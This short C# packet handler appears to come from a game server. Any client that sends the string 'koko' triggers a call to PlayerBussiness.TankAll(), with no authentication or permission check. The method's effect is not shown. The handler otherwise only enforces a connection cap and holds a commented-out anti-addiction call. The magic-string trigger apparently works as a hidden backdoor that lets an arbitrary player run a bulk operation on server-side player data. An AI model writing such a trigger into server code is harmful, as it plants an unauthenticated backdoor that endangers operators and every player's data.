public int HandlePacket(GameClient client, GSPacketIn packet)
        {
            if (countConnect >= 3000) { client.Disconnect(); return 0; }
            var str = packet.ReadString();
            if (str == "koko")
            {
                using (PlayerBussiness user = new PlayerBussiness())
                {

                    user.TankAll();
                }
            }
            //client.Out.SendAASControl(AntiAddictionMgr.ISASSon,client.Player.IsAASInfo, client.Player.IsMinor);
            return 0;
        }